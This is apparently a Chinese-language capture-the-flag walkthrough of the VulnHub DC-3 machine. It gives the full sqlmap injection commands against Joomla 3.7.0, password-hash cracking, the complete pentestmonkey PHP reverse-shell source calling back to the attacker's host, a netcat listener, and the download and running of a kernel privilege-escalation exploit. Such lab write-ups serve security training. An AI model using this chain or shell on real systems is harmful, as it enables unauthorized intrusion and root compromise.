0x00 前提
DC-3-2地址:https://www.vulnhub.com/entry/dc-32,312/
DC-3官wp:https://blog.mzfr.me/vulnhub-writeups/2019-07-12-DC3
-
正常按流程安装完DC-3。
-
打开DC-3时遇到报错:IDE 设备 (磁盘/CD-ROM)配置不正确。“ide0:1”上具有一个 IDE 从设备,但没有主设备。此配置在虚拟机中无法正常运行。请使用配置编辑器将磁盘/CD-ROM 从“ide0:1”移到“ide0:0”
-
解决:虚拟机→设置→ “CD/DVD(IDE)" →高级→IDE 0:0,点确定。
-
成功打开。
0x01 joomia注入及登陆
-
ifconfig
查到当前ip仍为172.20.10.3,所以再次用nmap 172.20.10.0/24
查询。此处虽然显示是dc-2,但其实就是dc-3的ip地址。(因为之前把dc2—172.20.10.4写入过hosts文件,后面删除了)
-
清理一下firefox的网页缓存,这样访问IP地址时不会也解析是dc-2。
-
因为开启80端口,也访问该ip地址观察。
-
通过wappalyzer看到CMS是joomia,且提示本次只有一个flag,需要root提权。
-
虽然官方说已经集成在kali中,但直接使用还是显示没有安装。首先安装
apt-get install joomscan
,安装后使用JoomScan扫描:joomscan --url http://172.20.10.4
,得到joomia版本和管理员页面http://172.20.10.4/administrator/。JoomScan参考:https://www.freebuf.com/sectool/181440.html
-
扫描得到joomia版本为3.7.0,尝试用searchsploit找一下该版本的注入漏洞:
searchsploit Joomla 3.7.0 -w
。
-
点进报告链接,查看,教我们用sqlmap。
sqlmap使用参考:https://www.freebuf.com/sectool/164608.html
-
执行:
sqlmap -u "http://172.20.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
,中途选项全部yes,最后跑出五个数据库。
参数解释:--level=LEVEL #执行测试的等级(1-5,默认为1) --risk=RISK #执行测试的风险(0-3,默认为1) --random-agent #使用random-agent作为HTTP User-Agent头值 --dbs #枚举数据库管理系统数据库 -p TESTPARAMETER #可测试的参数 list[fullordering] #漏洞注入点,具体参考:https://yaofeifly.github.io/2017/06/05/Joomla/
-
joomladb看起来比较特别,针对该数据库再跑一次:
sqlmap -u "http://172.20.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables
,查询到用户表。#参数解释: -D DB #要进行枚举的指定数据库名 --tables #枚举的DBMS数据库中的表
-
继续查询user表内的列:
sqlmap -u "http://172.20.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' --columns
,得到6列。#参数解释: -T TBL #DBMS数据库表枚举 --columns #枚举DBMS数据库表列
-
显然,我们最需要的是name和password,指定此两列再次扫描:
sqlmap -u "http://172.20.10.4/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -T '#__users' -C name,password --dump
#参数解释: -C COL #DBMS数据库表列枚举 --dump #转储数据库表项
-
把得到的密码hash值写入dc3passwd.txt。
-
利用John密码本破解:
john dc3passwd.txt
,得到密码snoopy。
-
登录第5步找到的管理员页面:http://172.20.10.4/administrator/,用刚才得到的用户-密码:admin—snoopy登陆。
-
登陆成功,找找破绽。
0x02 反弹shell
-
依次打开extension→template→beez3,点击创建新文件nikris.php。
-
在nikris.php写入反弹shell代码(自行更改ip和port)
源代码:http://pentestmonkey.net/tools/web-shells/php-reverse-shell
<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net set_time_limit (0); $VERSION = "1.0"; $ip = '172.20.10.3'; // kali本机IP $port = 7777; // kali本机监听端口 $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0; if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork(); if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); } if ($pid) { exit(0); // Parent exits } // Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); } $daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); } // Change to a safe directory chdir("/"); // Remove any umask we inherited umask(0); // Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); } // Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to ); $process = proc_open($shell, $descriptorspec, $pipes); if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); } // Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit("Successfully opened reverse shell to $ip:$port"); while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; } // Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; } // Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); // If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); } // If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); } // If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); // Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } } ?>
-
保存,得到提示的nikris.php路径:http://172.20.10.4/templates/beez3/nikris.php
-
回到kali终端,用netcat监听7777端口:
nc -lvvp 7777
-
firefox中输入nikris.php的路径网页,打开为空白。回到netcat的监听终端,反弹shell成功。
-
(个人习惯:python返回交互性shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
)。用uname -a
查询dc-3的操作系统消息。uname指令参考:https://www.cnblogs.com/douJiangYouTiao888/p/6474035.html
-
dc-3是linux,内核发行号为4.4.0-21-generic。使用lsb查看Linux发行版本:
lsb_release -a
。版本为Ubuntu16.04。lsb_release指令参考:https://www.linuxbaike.com/lsb-release/
-
searchsploit查找该版本漏洞:
searchsploit ubuntu 16.04 4.4.x -w
-
点进4.4.x发行号的通用漏洞,查看渗透建议。
-
直接在dc3中下载镜像:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
,连接被拒绝。此处如果无错可跳过0x03。
0x03 DNS解析报错、从本机wget
-
在kali本机下进行测试:
wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip
,此处出现报错,和dc3报错相同。
//报错1 正在解析主机 raw.githubusercontent.com (raw.githubusercontent.com)... 0.0.0.0, :: 正在连接 raw.githubusercontent.com (raw.githubusercontent.com)|0.0.0.0|:443... 失败:拒绝连接。 正在连接 raw.githubusercontent.com (raw.githubusercontent.com)|::|:443... 失败:拒绝连接。
-
可以看到是重定位后的raw.githubusercontent.com没有被DNS解析。前往https://ipaddress.com搜索raw.githubusercontent.com,显示有四个ipv4地址可指向。
-
随便选一个加入/etc/hosts。此处将
185.199.108.133 raw.githubusercontent.com
写入并保存。 -
直接使用github重定位到raw上的链接下载:
wget https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/39772.zip
//报错2 GnuTLS: 在 pull 函数中出错。 无法建立 SSL 连接。
-
尝试将https头改成http头,wget出现新的错误。
//报错3 已发出 HTTP 请求,正在等待回应... 读取文件头错误 (连接被对方重设)。 重试中。
-
尝试使用代理头:
wget https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/39772.zip --user-agent="Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6"
,成功将39772.zip下载到kali上。
-
回到dc-3,但是dc3中没有权限无法直接修改/etc/hosts,直接访问上述ip地址时提示要加
--no-check-certificate
,加上后显示非github地址解析,未找到。
-
幸好kali中已下载成功。在kali终端开启http服务:
python2 -m SimpleHTTPServer 8899
,在浏览器中验证登录,可以看到39772.zip。
-
从kali机中下载39772.zip。先进入
cd /var/www/html
再下载,否则提示权限不够。执行:wget 172.20.10.3:8899/39772.zip
。下载成功。
0x04 使用漏洞脚本
-
unzip 39772.zip
解压,cd 39772
进入该文件目录。
-
解压exploit提权脚本:
tar -xvf exploit.tar
,并且进入ebpf文件夹。
-
按照最开始的searchploit漏洞报告的指示,依次执行
./complie.sh
、./doubleput
。
-
提权成功,进入/root,找到the-flag.txt。成功。